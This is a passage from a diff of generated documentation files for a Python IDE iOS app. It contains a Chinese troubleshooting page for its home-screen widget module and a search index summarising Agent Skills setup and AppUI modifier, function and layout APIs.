定位法现象对照表 → 专题文档 → w.validate() 诊断
高发问题空白、裁切、参数缺失、点击无效、预览≠桌面、缓存
工具Studio 构建日志、w.validate(family=)、逐 family 预览
原则先减功能再定位,不要同时在脚本里改五处
+
+

#最小健康基线

+

全系列唯一可运行基线示例(API 地图 等页请链到此处,勿各写一份)。下面只有根容器 + 一行字 + render()。若它也预览空白,问题在环境或运行方式,不在业务逻辑。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+w = widget.Widget(background=("#FFFFFF", "#111827"), padding=14)
+w.text("Widget 基线 OK", size=16, weight="semibold").line_limit(1).min_scale(0.72).line_limit(1)
+w.render()
+
+

基线通过后,每次只加回一类功能(参数 → 状态按钮 → 图片 → timeline),看哪一步开始坏。

+
+

#五步排查流程

+
+
+ text +
+
+
1. 基线能预览吗? ─否→ 检查 w.render()、是否混用 appui/scene、构建报错
+        ↓ 是
+2. 文档预览还是 Studio? ─仅文档→ 要上桌面必须 Studio 发布
+        ↓
+3. 三个 family 都看过吗? ─裁切→ 布局分支 / line_limit / min_scale
+        ↓
+4. 交互/动画在预览能复现吗? ─否→ state action / content_transition
+        ↓
+5. 预览正常、桌面仍旧? ─→ 重新发布 → 删主屏小组件 → 重新添加
+
+
+

#现象速查

+
现象优先检查深入阅读
预览空白w.render()、只 import widget下文 §空白
文档能预览、桌面没有是否 Studio 发布 + 系统添加从脚本到桌面
文字裁切 / 挤在一起is_familyfamily_valueline_limit布局与尺寸
参数侧栏为空widget.paramrender()参数面板
按钮 / 开关无效widget.state.increment()状态和交互
数字无动画content_transition("numericText").id()时间线和动画
颜色 / 图片不对双色资源、accentable资源与外观
Studio 报「Widget 诊断」w.validate()、逐 family 修下文 §布局诊断
+
+

#空白 / 构建失败

+
原因识别修复
忘记 w.render()预览全白、无 IR 输出脚本末尾调用一次
多个 Widget()行为未定义只保留一个根 w = widget.Widget(...)
混入 appui / scene构建异常或空白Widget 脚本只用 widget API
语法 / 运行时错误Studio 控制台有 Traceback修报错行;先用基线脚本验证
svg() / image() 无路径TypeError: requires name提供路径、param.filesave_image
toggle(..., tint=)TypeError: unexpected keyword改用 color=
symbol(..., color=, size=)TypeError: unexpected keywordw.symbol("name").color(c).font_size(n)symbol 仅支持 rendering/palette/variant/scale
link(..., icon=).line_limit()AttributeError: no line_limiticonlink 不能链修饰符;改无 icon 或去掉链式调用
widget.context() / w.context()TypeError: not callablectx = widget.contextw.context(属性)
+
+
+ python +
+
+
# ❌ 构建期就会失败
+w.toggle("完成", state=done, tint="#22C55E")
+
+# ✅
+w.toggle("完成", state=done, color="#22C55E")
+
+
+

#预览正常,桌面不对

+
原因识别修复
只在文档里 previewWidget主屏从未添加组件代码复制到 Widget Studio 发布
未在系统里添加小组件App 已发布但主屏无入口长按主屏 → + → 选 Python IDE
选错 Studio 项目 / 槽位显示别的 widget 内容添加时核对项目名称
WidgetKit 缓存旧快照改代码后桌面仍旧Studio 重新运行发布
仍不更新缓存顽固删除主屏小组件 → 重新添加
改了 widget.state 的 key点击计数错乱或归零重新发布;建议删组件重装
文档预览 ≠ Studio 预览参数/资源路径不同以 Studio 项目目录为准
+

发布检查清单见 从脚本到桌面

+
+

#裁切与布局过挤

+
原因识别修复
large 布局塞进 small仅 small 裁切ctx.is_family("small") 减行或藏次要内容
字号 / 边距不分 familymedium 正常、small 爆版widget.family_value(16, small=14, large=18)
可变文案无保护长标题被 «…» 截断.line_limit(1).min_scale(0.65)(格内可降到 0.55
row 塞太多列small 数字叠在一起column 或减少列数
表格线发粗格子边框像厚框w.table(..., line_width="hairline"),勿 rect 拼线
锁屏 accessory 套 medium UIcircular 几乎看不见为 circular/rectangular/inline 单独写布局
+

防裁切清单见 布局与尺寸

+
+

#参数与配置

+
原因识别修复
param 写在 render()侧栏无参数全部移到 UI 构建之前
choice 的 default 非法构建报错default 必须是 options 之一
slider 默认值为字符串类型异常用数字 18,不是 "18"
混淆 param 与 state预览能改、桌面不变(或反之)配色用 param,点击用 state
改参数名后桌面仍旧旧实例绑旧 key重新发布,必要时删组件重装
+
+

#点击 / 链接无效

+
原因识别修复
action 写死字符串点击完全无反应action=count.increment()
传入 Python 函数需拉起 App,Widget 内不执行widget.state 工厂方法
Toggle 不记忆显示开关但状态不回写w.toggle(..., state=done)
toggle_item 类型不一致勾选状态错乱contains(i)toggle_item(i) 同类型
链接与按钮同区域点哪都不对链接、按钮分块;见 交互
预览能点、桌面不能未发布或 state key 已变重新发布 + 桌面验证
+
+
+ python +
+
+
count = widget.state.int("count", 0)
+
+# ❌
+w.button("+", action="increment")
+
+# ✅
+w.button("+", action=count.increment())
+
+
+

#动画与时间线

+
原因识别修复
content_transition数字直接跳变.content_transition("numericText")
无稳定身份动画时有时无.id("唯一名") 或绑 state/entry key
entry 绑交互数字点击不变交互用 widget.state,计划变化用 widget.entry
timeline 无 dateentry 顺序乱每条 entry 写 ISO date
期望 60fps 循环Widget 能力不支持改用 timeline 分段或 countdown
桌面动画少于预览系统合并刷新正常;重新发布后仍无则查 entry/state
+

详见 时间线和动画

+
+

#外观与资源

+
原因识别修复
深色模式发灰只有浅色图background_image((light, dark))image(light=, dark=)
Tinted 模式颜色乱节点默认参与染色设计色 .accentable(False),要跟系统 .accentable(True)
透明背景无效仍有不透明底transparent_background + container_background(removable=True)
背景图字看不清照片太亮scrim="bottom" + scrim_opacity
SVG / 图片不显示预览路径空文件放进 assets/ 或侧栏 param.file 重选
+

详见 资源与外观

+
+

#布局诊断(w.validate

+

构建后可用 w.validate() 检查当前 family 的布局风险。Studio 预览若出现 「Widget 诊断」,需按提示修阻断项后再发布。

+
+
+ python +
+
+
import widget
+
+w = widget.Widget(background="#FFFFFF", padding=14)
+w.text("标题", size=16).line_limit(1)
+# ... 构建 UI ...
+
+report = w.validate(family=widget.SMALL)  # 在 w.render() 之前调用
+print(report["status"])   # clean | warning | error
+for issue in report.get("issues", []):
+    print(issue["code"], issue["message"])
+w.render()
+
+

validate() 读取当前已构建的 UI 树;须在 w.render() 之前调用。Studio 构建时也会按 family 自动跑诊断。

+

常见诊断码(非完整列表):

+
代码含义建议
text_size_too_large字号相对 family 过大减小 sizefamily_value 分支
offset_clip_risk偏移过大可能裁切减小 offset;用布局容器代替硬偏移
chart_height_risk图表过高挤占版面降低 height;small 隐藏图表
frame_width_overflow固定宽超出内容区减小 frame 或改用流式布局
frame_height_overflow固定高超出内容区同上
+

small、medium、large 各跑一次验证(脚本在 Studio 会按 family 多次构建)。Widget 建议 为可优化提示;阻断项必须修掉。

+
+

#二分定位模板

+

复杂脚本卡住时,按顺序恢复功能:

+
步骤加回什么验证什么
1Widget + text + render基线预览
2widget.param 一两个侧栏参数出现
3widget.state + 一个按钮点击有反应
4row / column / 图表各 family 无裁切
5图片 / SVG / background_image资源路径正确
6w.timeline + entry / flip预览 entry 轮播
7Studio 发布 → 桌面添加端到端一致
+

某步开始失败时,问题就在刚加回的那一类 API

+
+

#仍解决不了?

+

收集这些信息便于反馈或自查:

+
  1. 入口:文档预览 / Widget Studio / MiniApp 工程
  2. family:small / medium / large / 锁屏 accessory
  3. 现象截图 + Studio 构建日志最后 30 行
  4. w.validate() 对应该 family 的 issues
  5. 是否已 重新发布删除重装 桌面小组件
+
+

#相关文档

+
文档用途
widget 概览API 与心智模型
从脚本到桌面发布与桌面验证
布局与尺寸裁切、family 预算
参数面板widget.param
状态和交互按钮、开关、链接
时间线和动画numericText、timeline
资源与外观双色图、accentable
API 参考签名核对
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/quality-report.json b/docs/docs/quality-report.json new file mode 100644 index 0000000..ff29e14 --- /dev/null +++ b/docs/docs/quality-report.json @@ -0,0 +1,5 @@ +{ + "generated_pages": 152, + "document_items": 144, + "findings": [] +} diff --git a/docs/docs/search-index.json b/docs/docs/search-index.json new file mode 100644 index 0000000..c84eb9b --- /dev/null +++ b/docs/docs/search-index.json @@ -0,0 +1,1154 @@ +[ + { + "id": "agent-development-index", + "title": "Agent Skills 安装与说明", + "subtitle": "一行命令安装 Skills,配合 AppUI、Widget 与 iOS 原生文档使用。", + "section": "Agent 开发 / 开始", + "url": "pages/agent-development-index/", + "text": "Agent Skills 安装与说明 一行命令安装 Skills,配合 AppUI、Widget 与 iOS 原生文档使用。 Agent 开发 开始 Agent Skills Codex Claude agent skills npx codex claude 安装 编码 agent Agent Skills 安装与说明 在 编码 Agent (如 Codex、Claude Code、Gemini CLI 等)中编写 PythonIDE 代码时,先安装本站的 Agent Skills。Skills 提供执行规则;完整 API 仍以左侧文档与公开 schema 为准。 边界 :这是给 电脑上的编码 Agent 用的安装包,不是 PythonIDE App 内的 AI 助手,也不是替代在线文档的第二套手册。 你会得到什么 一次安装会带上 6 个互补 Skill: Skill 何时生效 `pythonide` 先判断该用 AppUI、Widget、scene 还是原生模块 `pythonide-appui` 编写或修改 AppUI MiniApp `pythonide-native` 选型并调用 iOS 原生模块、权限与存储 `pythonide-widget` 编写 iOS 主屏幕小组件 `pythonide-scene` 2D 游戏、场景与 turtle `pythonide-automation` 快捷指令、legacy `ui`、纯 Python 自动化 带相机、定位、通知的 AppUI 应用会同时用到 pythonide appui 与 pythonide native(Skills 内已互链)。 与六大开发路径的对应 文档路径 相关 Skill [appui](appui) `pythonide-appui` [widget](widget-module) `pythonide-widget` [scene](scene-module) `pythonide-scene` [iOS 原生模块](ios-native) `pythonide-native` [自动化与扩展](shortcuts-guide) `pythonide-automation` 不确定 runtime `pythonide` 文档分工 层级 作用 **Agent Skills** 怎么写、禁止什么、何时配对哪个 skill **本站中文文档** 模块说明、示例、场景配方 **schema / stubs** API 签名与原生能力路由(机器可读) 编写时: 先遵守 Skill 规则,再查模块文档,再用 schema 校验 API 名称。 机器可读资源 Native capabilities schema AppUI schema Widget schema GitHub:pythonide skills 常见误区 不要在 AppUI body() 里 直接申请权限、定位、拍照或发网络请求;放在命名回调里。 内联控件优先 :PhotoPicker、CameraPicker、MapView、FileImporter、ShareLink、VideoPlayer。 App 内 AI 助手 与 编码 Agent Skills 是两套体系;前者在 iPhone/iPad App 里,后者在电脑终端安装。 不要编造 API ;以 schema 与各模块文档为准。 相关文档 iOS 原生能力 — 入口模型、AppUI 原生组件、模块导航 运行时选择 — 选择 appui / widget / scene / ui appui 快速上手 安装示例 npx skills add Python-IDE/pythonide-skills 预期效果:编码 Agent 工作区出现 pythonide、pythonide appui 等 Skills,可在写 MiniApp 前自动加载规则。" + }, + { + "id": "appui-ref-modifiers", + "title": "修饰符 API", + "subtitle": "外观、布局、导航、交互和可访问性修饰符。", + "section": "appui / API 参考", + "url": "pages/appui-ref-modifiers/", + "text": "修饰符 API 外观、布局、导航、交互和可访问性修饰符。 appui API 参考 appui api modifiers padding frame background toolbar searchable accessibility 修饰符 修饰符 API 修饰符是所有 View 都能链式调用的行为。推荐顺序是:内容语义、文字样式、尺寸约束、交互、呈现、外观背景。顺序会影响布局和命中区域,例如先 .padding() 再 .background(...) 会让背景包住内边距。 什么时候用 目标 首选修饰符 调整尺寸和间距 `.frame(...)`、`.padding(...)`、`.fixed_size(...)`、`.layout_priority(...)` 文本和图标样式 `.font(...)`、`.foreground_color(...)`、`.line_limit(...)`、`.minimum_scale_factor(...)` 背景和视觉效果 `.background(...)`、`.corner_radius(...)`、`.shadow(...)`、`.opacity(...)`、`.blur(...)` 页面导航 `.navigation_title(...)`、`.toolbar(...)`、`.navigation_destination(...)` 控件样式 `.button_style(...)`、`.list_style(...)`、`.picker_style(...)`、`.text_field_style(...)` 交互 `.on_tap(...)`、`.on_long_press(...)`、`.on_drag(...)`、`.task(...)` 模态和列表行为 `.sheet(...)`、`.alert(...)`、`.confirmation_dialog(...)`、`.swipe_actions(...)` 焦点和键盘 `.focused(...)`、`.submit_label(...)`、`.on_submit(...)`、`.keyboard_dismiss(...)` 可访问性 `.accessibility_label(...)`、`.accessibility_hidden(...)` 最小正确示例 import appui\n\nstate = appui.State(tapped=0, show_alert=False)\n\n\ndef tap_card():\n state.tapped += 1\n state.show_alert = True\n\n\ndef close_alert():\n state.show_alert = False\n\n\ndef body():\n card = (\n appui.VStack([\n appui.Text(\"Modifier Card\")\n .font(\"headline\")\n .foreground_color(\"label\"),\n appui.Text(f\"Tapped {state.tapped} times\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\")\n .line_limit(1),\n ], alignment=\"leading\", spacing=6)\n .frame(max_width=appui.infinity, alignment=\"leading\")\n .padding(16)\n .background(\"secondarySystemBackground\", corner_radius=8)\n .content_shape(\"rect\")\n .on_tap(tap_card)\n .accessibility_label(\"Modifier demo card\")\n .alert(\n \"Tapped\",\n message=\"The card received a tap.\",\n is_presented=state.show_alert,\n on_dismiss=close_alert,\n )\n )\n\n return appui.NavigationStack(\n appui.VStack([card], spacing=16)\n .padding(20)\n .navigation_title(\"Modifiers\")\n )\n\n\nappui.run(body, state=state) 标识和布局 API 签名 所属类型 `.id` `.id(key: str) -> Self` `View` `.padding` `.padding(value: Optional[float] = None, edges: Optional[str] = None, *, horizontal: Optional[float] = None, vertical: Optional[float] = None, top: Optional[float] = None, bottom: Optional[float] = None, leading: Optional[float] = None, trailing: Optional[float] = None, **kwargs: Any) -> Self` `View` `.frame` `.frame(width: Optional[float] = None, height: Optional[float] = None, min_width: Optional[float] = None, max_width: Optional[Union[float, str]] = None, min_height: Optional[float] = None, max_height: Optional[Union[float, str]] = None, alignment: Optional[str] = None, **kwargs: Any) -> Self` `View` `.offset` `.offset(x: float = 0, y: float = 0) -> Self` `View` `.position` `.position(x: float = 0, y: float = 0) -> Self` `View` `.ignore_safe_area` `.ignore_safe_area(edges: str = 'all', regions: str = 'all') -> Self` `View` `.fixed_size` `.fixed_size(horizontal: bool = True, vertical: bool = True) -> Self` `View` `.layout_priority` `.layout_priority(value: float) -> Self` `View` `.alignment_guide` `.alignment_guide(alignment: str = 'center', compute_value: Optional[float] = None) -> Self` `View` `.container_relative_frame` `.container_relative_frame(axis: str = 'vertical', count: int = 1, span: int = 1, spacing: float = 8) -> Self` `View` `.safe_area_inset` `.safe_area_inset(edge: str = 'bottom', content: Optional[\"View\"] = None, spacing: Optional[float] = None) -> Self` `View` 外观和视觉 API 签名 所属类型 `.font` `.font(name: Optional[str] = None, size: Optional[float] = None, weight: Optional[str] = None, design: Optional[str] = None) -> Self` `View` `.bold` `.bold() -> Self` `View` `.italic` `.italic() -> Self` `View` `.foreground_color` `.foreground_color(color: ColorLike) -> Self` `View` `.foreground_style` `.foreground_style(style: Any) -> Self` `View` `.background` `.background(color: Optional[ColorLike] = None, corner_radius: float = 0, gradient: Optional[Sequence[ColorLike]] = None, gradient_type: str = 'linear', material: Optional[str] = None, cornerRadius: Optional[float] = None, gradientType: Optional[str] = None, opacity: Optional[float] = None, **kwargs: Any) -> Self` `View` `.opacity` `.opacity(value: float) -> Self` `View` `.corner_radius` `.corner_radius(value: float) -> Self` `View` `.clip_shape` `.clip_shape(shape: str) -> Self` `View` `.clipped` `.clipped() -> Self` `View` `.shadow` `.shadow(color: Optional[ColorLike] = None, radius: float = 5, x: float = 0, y: float = 2) -> Self` `View` `.border` `.border(color: ColorLike, width: float = 1) -> Self` `View` `.overlay` `.overlay(content: \"View\") -> Self` `View` `.tint` `.tint(color: ColorLike) -> Self` `View` `.mask` `.mask(content: \"View\") -> Self` `View` `.drawing_group` `.drawing_group() -> Self` `View` `.blur` `.blur(radius: float) -> Self` `View` `.brightness` `.brightness(amount: float) -> Self` `View` `.contrast` `.contrast(amount: float) -> Self` `View` `.saturation` `.saturation(amount: float) -> Self` `View` `.grayscale` `.grayscale(amount: float) -> Self` `View` 导航和工具栏 API 签名 所属类型 `.navigation_title` `.navigation_title(title: Union[str, \"View\"]) -> Self` `View` `.navigation_bar_title_display_mode` `.navigation_bar_title_display_mode(mode: str) -> Self` `View` `.navigation_bar_back_button_hidden` `.navigation_bar_back_button_hidden(value: bool = True) -> Self` `View` `.toolbar` `.toolbar(items: Any) -> Self` `View` `.toolbar_background` `.toolbar_background(visibility: str = 'visible', bars: str = 'navigation_bar') -> Self` `View` `.toolbar_color_scheme` `.toolbar_color_scheme(scheme: str = 'dark', bars: str = 'navigation_bar') -> Self` `View` `.navigation_destination` `.navigation_destination(is_presented: bool = False, content: Optional[\"View\"] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` 控件样式 API 签名 所属类型 `.button_style` `.button_style(style: str) -> Self` `View` `.list_style` `.list_style(style: str) -> Self` `View` `.text_field_style` `.text_field_style(style: str) -> Self` `View` `.toggle_style` `.toggle_style(style: str) -> Self` `View` `.tab_view_style` `.tab_view_style(style: str) -> Self` `View` `.picker_style` `.picker_style(style: str) -> Self` `View` `.gauge_style` `.gauge_style(style: str) -> Self` `View` `.progress_view_style` `.progress_view_style(style: str) -> Self` `View` `.date_picker_style` `.date_picker_style(style: str) -> Self` `View` 交互 API 签名 所属类型 `.on_tap` `.on_tap(action: Callable) -> Self` `View` `.on_appear` `.on_appear(action: Callable) -> Self` `View` `.on_disappear` `.on_disappear(action: Callable) -> Self` `View` `.on_long_press` `.on_long_press(action: Optional[Callable] = None, min_duration: float = 0.5, minDuration: Optional[float] = None, on_pressing: Optional[Callable] = None, onPressing: Optional[Callable] = None) -> Self` `View` `.on_drag` `.on_drag(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> Self` `View` `.on_magnification` `.on_magnification(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> Self` `View` `.on_rotation` `.on_rotation(on_changed: Optional[Callable] = None, on_ended: Optional[Callable] = None, onChanged: Optional[Callable] = None, onEnded: Optional[Callable] = None) -> Self` `View` `.on_drop` `.on_drop(action: Callable) -> Self` `View` `.on_geometry` `.on_geometry(action: Callable) -> Self` `View` `.task` `.task(action: Callable) -> Self` `View` `.disabled` `.disabled(value: bool = True) -> Self` `View` `.hidden` `.hidden() -> Self` `View` `.simultaneous_gesture` `.simultaneous_gesture(gesture: str = 'tap', callback: Optional[Callable] = None, on_changed: Optional[Callable] = None, min_duration: float = 0.5) -> Self` `View` `.high_priority_gesture` `.high_priority_gesture(gesture: str = 'tap', callback: Optional[Callable] = None, min_duration: float = 0.5) -> Self` `View` 呈现和列表行为 API 签名 所属类型 `.alert` `.alert(title: str, message: str = '', is_presented: bool = False, on_dismiss: Optional[Callable] = None, actions: Optional[Sequence[\"View\"]] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.sheet` `.sheet(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, detents: Optional[str] = None, drag_indicator: Optional[str] = None, interactive_dismiss_disabled: bool = False, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None, dragIndicator: Optional[str] = None, interactiveDismissDisabled: Optional[bool] = None) -> Self` `View` `.full_screen_cover` `.full_screen_cover(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.confirmation_dialog` `.confirmation_dialog(title: str, is_presented: bool = False, actions: Optional[Sequence[\"View\"]] = None, message: str = '', on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.context_menu` `.context_menu(content: Optional[Sequence[\"View\"]] = None) -> Self` `View` `.searchable` `.searchable(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, placement: str = 'automatic', prompt: Optional[str] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> Self` `View` `.swipe_actions` `.swipe_actions(edge: str = 'trailing', content: Optional[Sequence[\"View\"]] = None, actions: Optional[Sequence[\"View\"]] = None) -> Self` `View` `.refreshable` `.refreshable(action: Optional[Callable] = None) -> Self` `View` `.badge` `.badge(count: Any) -> Self` `View` `.popover` `.popover(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.inspector` `.inspector(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None) -> Self` `View` 动画和变换 API 签名 所属类型 `.animation` `.animation(type: str = 'default', value: Optional[Any] = None) -> Self` `View` `.transition` `.transition(type: str = 'opacity') -> Self` `View` `.scale_effect` `.scale_effect(scale: float) -> Self` `View` `.rotation_effect` `.rotation_effect(degrees: float) -> Self` `View` `.rotation_3d_effect` `.rotation_3d_effect(degrees: float, x: float = 0, y: float = 0, z: float = 0) -> Self` `View` `.matched_geometry_effect` `.matched_geometry_effect(ns_id: Optional[str] = None, namespace: Optional[str] = None, is_source: bool = True, nsId: Optional[str] = None, isSource: Optional[bool] = None) -> Self` `View` `.content_transition` `.content_transition(type: str = 'opacity') -> Self` `View` `.phase_animator` `.phase_animator(phases: Optional[Sequence[float]] = None, effect: str = 'scale_opacity', scale_range: float = 0.1, opacity_range: float = 0.2, duration: float = 0.6, animation: str = 'easeInOut') -> Self` `View` 焦点、键盘和文本 API 签名 所属类型 `.focused` `.focused(field_id: Union[bool, str, None] = None, equals: Optional[str] = None, fieldId: Union[bool, str, None] = None, key: Optional[str] = None) -> Self` `View` `.submit_label` `.submit_label(label: str) -> Self` `View` `.on_submit` `.on_submit(action: Callable) -> Self` `View` `.keyboard_dismiss` `.keyboard_dismiss(mode: str = 'interactive') -> Self` `View` `.line_limit` `.line_limit(limit: Optional[int]) -> Self` `View` `.multiline_text_alignment` `" + }, + { + "id": "appui-ref-functions", + "title": "入口函数", + "subtitle": "run、dismiss、animate、bind、grid item 等模块级函数。", + "section": "appui / API 参考", + "url": "pages/appui-ref-functions/", + "text": "入口函数 run、dismiss、animate、bind、grid item 等模块级函数。 appui API 参考 appui api functions run dismiss animate bind computed effect flexible 入口函数 本页只查 appui 的模块级入口函数和网格辅助函数。页面结构、控件、导航和媒体视图分别看对应 API 参考。 什么时候用 目标 API 启动 AppUI 页面 `run` 关闭当前 AppUI 呈现 `dismiss` 包一组状态变化动画 `animate` 简单周期刷新 `auto_refresh` 降低首次启动延迟 `preload` 为值控件创建双向绑定 `bind` 声明派生数据 `computed` 状态变化后触发副作用 `effect` 定义网格列/行 `flexible`、`fixed`、`adaptive`、`grid_item` 使用自定义字体 `custom_font` 最小正确示例 run 只在脚本末尾调用一次。bind 适合 Slider 这类 value + on_change 控件。网格列用 flexible、adaptive 或 fixed。 import appui\n\nstate = appui.State(volume=0.4, selected=\"Volume\")\n\n\ndef select_card(name):\n state.selected = name\n\n\ndef card(name, value):\n def select_current():\n select_card(name)\n\n return (\n appui.Button(\n action=select_current,\n content=appui.VStack([\n appui.Text(name).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.Text(value).font(\"title3\").bold(),\n ], alignment=\"leading\", spacing=4),\n )\n .button_style(\"plain\")\n .frame(max_width=appui.infinity, min_height=84, alignment=\"leading\")\n .padding(12)\n .background(\"secondarySystemBackground\", corner_radius=8)\n )\n\n\n@appui.computed(state, depends_on=[\"volume\"])\ndef volume_text():\n return f\"{state.volume:.0%}\"\n\n\ndef body():\n grid = appui.LazyVGrid(\n columns=[appui.flexible(minimum=120), appui.flexible(minimum=120)],\n spacing=12,\n content=[\n card(\"Volume\", volume_text()),\n card(\"Selected\", state.selected),\n ],\n )\n\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"bind\", [\n appui.Slider(**appui.bind(state, \"volume\"), minimum=0, maximum=1),\n ]),\n appui.Section(\"Grid helpers\", [\n grid,\n ]),\n ]).navigation_title(\"Functions\")\n )\n\n\nappui.run(body, state=state) 函数签名 API 签名 `run` `run(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, state: Optional[Union[State, ReactiveState]] = None, hot_reload: bool = False, presentation: str = 'sheet', body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None` `dismiss` `dismiss() -> None` `presentation_present` `presentation_present(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None, value: bool = True) -> bool` `presentation_dismiss` `presentation_dismiss(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None) -> bool` `presentation_dismiss_all` `presentation_dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool` `dismiss_all` `dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool` `animate` `animate(action: Callable[[], None], type: str = 'default') -> None` `auto_refresh` `auto_refresh(interval: float = 1.0) -> None` `preload` `preload() -> None` `bind` `bind(state: Union[State, ReactiveState], field_name: str, *, parse: Optional[Callable[[Any], Any]] = None, format: Optional[Callable[[Any], Any]] = None, validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]` `computed` `computed(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable` `effect` `effect(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable` `flexible` `flexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]` `fixed` `fixed(size: float) -> Dict[str, Any]` `adaptive` `adaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]` `grid_item` `grid_item(type: str = 'flexible', minimum: Optional[float] = None, maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]` `custom_font` `custom_font(name: str, size: float = 17) -> str` 相邻 API 区别 API 用法边界 `bind` vs `on_change` `Slider` 这类 `value` 控件可以用 `bind`;`TextField`、`Toggle`、`Picker` 通常直接传当前值和 `on_change`。 `computed` vs 手动字段 派生数据用 `computed`,不要维护第二份 `state.filtered_items`。 `effect` vs `body()` 副作用 状态变化后的日志或同步用 `effect`;不要在 `body()` 里做副作用。 `auto_refresh` vs `Timer` 简单原型可用 `auto_refresh`;正式页面用模块级 `Timer` 或明确回调。 `flexible` vs `adaptive` 固定列数用多个 `flexible`;根据宽度自动改变列数用 `adaptive`。 常见错误 错误 后果 修正 在按钮回调里再次调用 `run` 运行时状态混乱 `run` 只在脚本末尾调用一次。 在 `body()` 里调用 `dismiss()` 页面构建时直接关闭 放到按钮或工具栏回调里。 把 `bind` 传给 `TextField.text` 参数类型不对 `TextField(text=state.name, on_change=set_name)`。 用 `auto_refresh` 做复杂业务轮询 刷新不可控 使用 `Timer`、后台任务或明确刷新按钮。 普通页面绕过公开 API 更新界面 可维护性差 先查公开 AppUI API。 相关文档 文档 用途 [快速上手](appui-quickstart) 最小 `body()`、`State` 和 `run`。 [状态管理](appui-guide-state) `computed`、`effect`、`Timer` 和 `ReactiveState`。 [布局系统](appui-guide-layout) 网格列、Stack、ScrollView 和 safe area。" + }, + { + "id": "appui-ref-layout-geometry", + "title": "几何与特殊布局 API", + "subtitle": "GeometryReader、ViewThatFits、Group、Overlay 和 SafeAreaInset。", + "section": "appui / API 参考", + "url": "pages/appui-ref-layout-geometry/", + "text": "几何与特殊布局 API GeometryReader、ViewThatFits、Group、Overlay 和 SafeAreaInset。 appui API 参考 appui api layout GeometryReader ViewThatFits Group Overlay SafeAreaInset geometry safe area 几何与特殊布局 API GeometryReader / ViewThatFits / Group / Overlay / SafeAreaInset。 GeometryReader 签名 GeometryReader(content=None, on_change=None, onChange=None,\n children=None, on_geometry=None, onGeometry=None) 参数 参数 类型 说明 `content` / `children` `View \\| list[View] \\| None` 填充可用区域的内容。 `on_change` / `onChange` / `on_geometry` `可调用 \\| None` 尺寸变化时触发。默认传入**单参数**:`\"宽度,高度\"` 形式的字符串(如 `\"390.0,844.0\"`)。若回调在签名上接受**两个**必选位置参数,则运行时会拆分为 `(width: float, height: float)` 调用。 示例 import appui\n\nstate = appui.State(w=0.0, h=0.0)\n\n\ndef update_geometry(width, height):\n state.batch_update(w=float(width), h=float(height))\n\n\ndef body():\n return appui.GeometryReader(\n content=appui.VStack([\n appui.Text(f\"{state.w:.0f} × {state.h:.0f}\").font(\"title3\"),\n ]),\n on_change=update_geometry,\n ).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") 参阅 :ViewThatFits、ScrollView ViewThatFits 签名 ViewThatFits(content=None) 参数 参数 类型 说明 `content` `list[View] \\| None` 按顺序尝试子视图,采用第一个可在当前约束下布局成功的方案。 示例 import appui\n\ndef body():\n return appui.ViewThatFits([\n appui.HStack([appui.Text(\"宽屏一行标题\")]),\n appui.VStack([appui.Text(\"窄屏\"), appui.Text(\"两行标题\")]),\n ]).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :HStack、VStack Group 签名 Group(content=None) 参数 参数 类型 说明 `content` `list[View] \\| None` 透明容器,不参与自身布局,用于组合或修饰器作用域。 示例 import appui\n\ndef body():\n return appui.VStack([\n appui.Group([\n appui.Text(\"A\"),\n appui.Text(\"B\"),\n ]),\n ], spacing=4).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :VStack、ForEach Overlay 签名 Overlay(content=None, overlay=None, alignment='center') 参数 参数 类型 说明 `content` `View \\| None` 承载视图。 `overlay` `View \\| None` 叠放在上的视图。 `alignment` `str` 与 [ZStack](appui-ref-layout-stacks.md#zstack) 相同的对齐关键字。 示例 import appui\n\ndef body():\n return appui.Overlay(\n content=appui.Image(system_name=\"bell\"),\n overlay=appui.Text(\"3\").font(\"caption2\").padding(4),\n alignment=\"topTrailing\",\n ).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :ZStack、Badge SafeAreaInset 签名 SafeAreaInset(edge='bottom', content=None) 参数 参数 